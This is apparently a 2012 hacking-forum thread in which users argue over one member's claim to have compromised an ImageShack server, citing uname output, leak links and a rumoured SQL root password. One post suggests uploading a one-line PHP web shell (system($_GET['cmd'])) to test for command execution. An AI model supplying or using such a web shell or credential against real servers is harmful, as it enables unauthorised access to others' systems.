It got spoiled already by someone so yeah... check here:
http://pastebin.com/Qjz2CFwG
Welcome to the pwned imageshack club.
Current members: RoMeO, HTP, you, and various unnamed underground l33t h4x0rz
Your free t-shirt, jacket and botnet will arrive in the mail in 6 to 8 weeks.
Gotta agree; not an average HF post.
Whatever, up to you.
That is a cool accomplishment, I guess? :3
Hacked? You uploaded an HTML file. That's like pinching someone and telling everyone you killed them.
(Dec 12, 2012 01:59 PM)Jae Wrote: Hacked? You uploaded an HTML file. That's like pinching someone and telling everyone you killed them.
Go ahead and upload a html file please.
Want more info? no problem
Uname -a: Linux img692.imageshack.us 2.6.27.5-117.fc10.x86_64 #1 SMP Tue Nov 18 11:58:53 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
(Dec 12, 2012 01:59 PM)Jae Wrote: Hacked? You uploaded an HTML file. That's like pinching someone and telling everyone you killed them.
In the words of The Lonely Island: Still counts!
What happened to the previous thread I commented on? Anyhow, congrats.
MaX0xf Wrote: Uname -a: Linux img692.imageshack.us 2.6.27.5-117.fc10.x86_64 #1 SMP Tue Nov 18 11:58:53 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
Seems they still haven't learned from last time..
ABftw.c anyone?
Is their SQL root pass still mutaborius?
(Dec 12, 2012 01:43 PM)Starfall Wrote: Welcome to the pwned imageshack club.
Current members: RoMeO, HTP, you, and various unnamed underground l33t h4x0rz
Your free t-shirt, jacket and botnet will arrive in the mail in 6 to 8 weeks.
I remember when RoMeO got fucking destroyed in #bhf, great times were had by all.
(Dec 12, 2012 02:00 PM)MaX0xf Wrote: Want more info? no problem
Uname -a: Linux img692.imageshack.us 2.6.27.5-117.fc10.x86_64 #1 SMP Tue Nov 18 11:58:53 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
Getting warmer but still not too much proof. Judging by Starfall's comments it's legit but I'd like to see some more. I wasn't bashing on you, it just didn't seem very likely with that much 'proof'.
Well. I am not here to prove anything to anyone, I just posted it here as people have Pm'd me after someone spoiled it.
http://empathy.hardchats.org/htp4/HTP-4.txt it's real, though I won't say 100% that Max's is. It's very likely though.
Try uploading one with the contents:
PHP Code
<?php system($_GET['cmd']); ?>
and see what happens. I think you already have execution but I wanna see if there's yet another vuln.
DING DING DING ROUND 12 BEGINS...OH GOD IMAGESHACK, i thought you had great whitehats working for you now... ;)
What sort of proof is this supposed to be? They allow html uploads, don't they?
edit: Hey, guess what. I checked, the box that you claim to have compromised hasn't been compromised (what a surprise)
|
